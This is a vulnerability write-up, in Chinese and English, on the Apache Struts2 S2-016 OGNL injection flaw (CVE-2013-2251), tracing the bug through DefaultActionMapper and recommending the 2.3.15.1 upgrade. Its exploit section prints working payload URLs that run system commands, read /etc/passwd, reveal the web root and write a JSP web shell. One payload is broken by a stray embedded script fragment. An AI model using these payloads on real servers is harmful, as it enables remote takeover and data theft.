struts2 CVE-2013-2251 S2-016 action、redirect code injection remote command execution
catalog
1. Description
2. Effected Scope
3. Exploit Analysis
4. Principle Of Vulnerability
5. Patch Fix
1. Description
struts2中有2个导航标签(action、redirect),后面可以直接跟ongl表达式,比如
1. test.action?action:${exp}
2. test.action?redirect:${exp}
Struts2的DefaultActionMapper支持一种方法,可以使用"action:"、"redirect:"、"redirectAction:"对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对"action:"、"redirect:"、"redirectAction:"等进行处理,导致ognl表达式可以被执行
在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个,是struts2对url中的文件名做了解析,导致的ognl代码执行
Relevant Link:
https://struts.apache.org/docs/s2-016.html
http://www.nxadmin.com/web/1177.html
2. Effected Scope
Struts 2.0.0 – Struts 2.3.15
3. Exploit Analysis
0x1: POC: 执行系统指令
http://localhost:8080/S2-XX/Login.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}">test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java
0x2: POC: 测试跳转
http://localhost:8080/S2-XX/Login.action?redirect:%25{3*4}
0x3: POC: 执行任意命令
http://localhost:8080/S2-XX/Login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
0x4: POC: 爆网站路径
http://localhost:8080/S2-XX/Login.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
/*
http://localhost:8080/S2-XX/Login.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}
*/
0x5: POC: GetShell
http://localhost:8080/S2-XX/Login.action?%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/%22%29%29.append%[email protected]
/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@separator%29.append%28%23a.getParameter%28%22name%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
0x6: POC: GetShell2
http://localhost:8080/S2-XX/Login.action?redirect:${
%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
%23p%3d(%23req.getRealPath(%22/%22)%2b%22test.jsp%22).replaceAll("\\\\", "/"),
new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()
}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%
/*
http://localhost:8080/S2-XX/Login.action?redirect:${
#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
#p=(#req.getRealPath("/")+"test.jsp").replaceAll("\\\\", "/"),
new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()
}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f%
*/
然后用以下代码写shell
<form action="http://localhost:8080/S2-XX/test.jsp?f=1.jsp" method="post">
<textarea >code</textarea>
<input type=submit value="提交">
</form>
Relevant Link:
http://www.waitalone.cn/struts2-command-exp.html
http://www.nigesb.com/struts2-remote-command-execution.html
http://www.freebuf.com/vuls/11220.html
4. Principle Of Vulnerability
这里以"redirect:"前缀举例进行源码跟踪分析,struts2会将"redirect:"前缀后面的内容设置到redirect.location当中
org.apache.struts2.dispatcher.FilterDispatcher.class
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
ServletContext servletContext = getServletContext();
String timerKey = "FilterDispatcher_doFilter: ";
try {
UtilTimerStack.push(timerKey);
request = prepareDispatcherAndWrapRequest(request, response);
ActionMapping mapping;
try {
mapping = actionMapper.getMapping(request, dispatcher.getConfigurationManager());
} catch (Exception ex) {
LOG.error("error getting ActionMapping", ex);
dispatcher.sendError(request, response, servletContext, HttpServletResponse.SC_INTERNAL_SERVER_ERROR, ex);
return;
}
..
getMapping函数跟入
org.apache.struts2.dispatcher.mapper.DefaultActionMapper.class
public ActionMapping getMapping(HttpServletRequest request,
ConfigurationManager configManager) {
ActionMapping mapping = new ActionMapping();
String uri = getUri(request);
uri = dropExtension(uri);
if (uri == null) {
return null;
}
parseNameAndNamespace(uri, mapping, configManager);
handleSpecialParameters(request, mapping);
..
继续跟入handleSpecialParameters(request, mapping);
org.apache.struts2.dispatcher.mapper.DefaultActionMapper.class
真正传入OGNL表达式是在这个parameterAction.execute()中,继续跟入
public DefaultActionMapper() {
prefixTrie = new PrefixTrie() {
{
put(METHOD_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
mapping
.setMethod(key
.substring(METHOD_PREFIX.length()));
}
});
put(ACTION_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
String name = key.substring(ACTION_PREFIX.length());
if (allowDynamicMethodCalls) {
int bang = name.indexOf('!');
if (bang != -1) {
String method = name.substring(bang + 1);
mapping.setMethod(method);
name = name.substring(0, bang);
}
}
mapping.setName(name);
}
});
//key.substring(REDIRECT_PREFIX.length())得到的就是在redirect前缀后面注入的OGNL表达式
put(REDIRECT_PREFIX, new ParameterAction() {
public void execute(String key, ActionMapping mapping) {
ServletRedirectResult redirect = new ServletRedirectResult();
container.inject(redirect);
//调用setLocation方法将他设置到redirect.location中
redirect.setLocation(key.substring(REDIRECT_PREFIX.length()));
//调用mapping.setResult(redirect)将redirect对象设置到mapping对象中的result里
mapping.setResult(redirect);
}
});
...
上面的过程只是传递OGNL表达式,真正执行是在后面,这里的mapping对象中设置了传入的OGNL
org.apache.struts2.dispatcher.FilterDispatcher.class
这里跟入方法最终会在TextParseUtil这个类的调用stack.findValue()方法执行OGNL
Relevant Link:
http://drops.wooyun.org/papers/902
5. Patch Fix
0x1: upgrade struts2
DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped
It is strongly recommended to upgrade to Struts 2.3.15.1, which contains the corrected Struts2-Core library
0x2: 手工修复
1. 关闭struts2的redirect、action导航功能
Relevant Link:
Copyright (c) 2015 Little5ann All rights reserved